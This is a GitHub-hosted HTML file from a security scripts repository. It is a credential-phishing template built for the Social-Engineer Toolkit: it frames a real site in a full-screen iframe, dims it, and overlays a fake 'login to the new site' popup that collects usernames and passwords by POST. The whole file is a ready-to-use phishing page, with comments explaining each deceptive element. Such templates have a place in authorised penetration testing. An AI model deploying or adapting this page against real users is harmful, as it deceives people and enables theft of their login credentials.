forked from averagesecurityguy/scripts
-
Notifications
You must be signed in to change notification settings - Fork 1
/
set_index.html
executable file
·110 lines (99 loc) · 3.26 KB
/
set_index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--
# Copyright (c) 2012, AverageSecurityGuy
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# Neither the name of AverageSecurityGuy nor the names of its contributors may
# be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
# OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
# OF SUCH DAMAGE.
-->
<html>
<head>
<title>SecManiac</title>
<style type="text/css">
/* Make an iframe large enough to fill the browser screen */
iframe {
margin: 0px;
padding: 0px;
width: 100%;
height: 2000px;
}
body {
margin: 0px;
padding: 0px;
}
/* Make a see through, grey background to fill the browser screen */
#bg {
background-color: #111111;
opacity: 0.65;
filter: alpha(opacity=65);
position: absolute;
z-index: 9000;
top: 0px;
left: 0px;
width: 100%;
height: 2000px;
}
/* Make the login form look like a popup */
#login {
padding: 16px;
position: absolute;
top: 40px;
left: 40px;
background-color: #eeeeee;
width: 300px;
z-index: 10000;
text-align: left;
border: 2px solid #000000;
}
input {
background-color: #eeeeee;
color: #000000;
border: 1px solid #000000;
font-family: arial, verdana, ms sans serif;
font-weight: regular;
font-size: 12pt
}
</style>
</head>
<body>
<!-- Import the victim site in an iframe -->
<iframe src="http://www.secmaniac.com" ></iframe>
<!-- Add the background to give the popup effect -->
<div id="bg"></div>
<!-- Create the login box -->
<div id="login">
<p>Login to the new SecManiac.com web site.</p>
<!-- The action on the form is not important, but the method should be POST -->
<form action="login.php" method="POST">
<table border="0" cellpadding="1" cellspacing="1">
<!-- SET wants inputs named username and password -->
<tr><td>Username: </td><td><input type="text" name="username" /></td></tr>
<tr><td>Password: </td><td><input type="password" name="password" /></td></tr>
<tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
</div>
</body>
</html>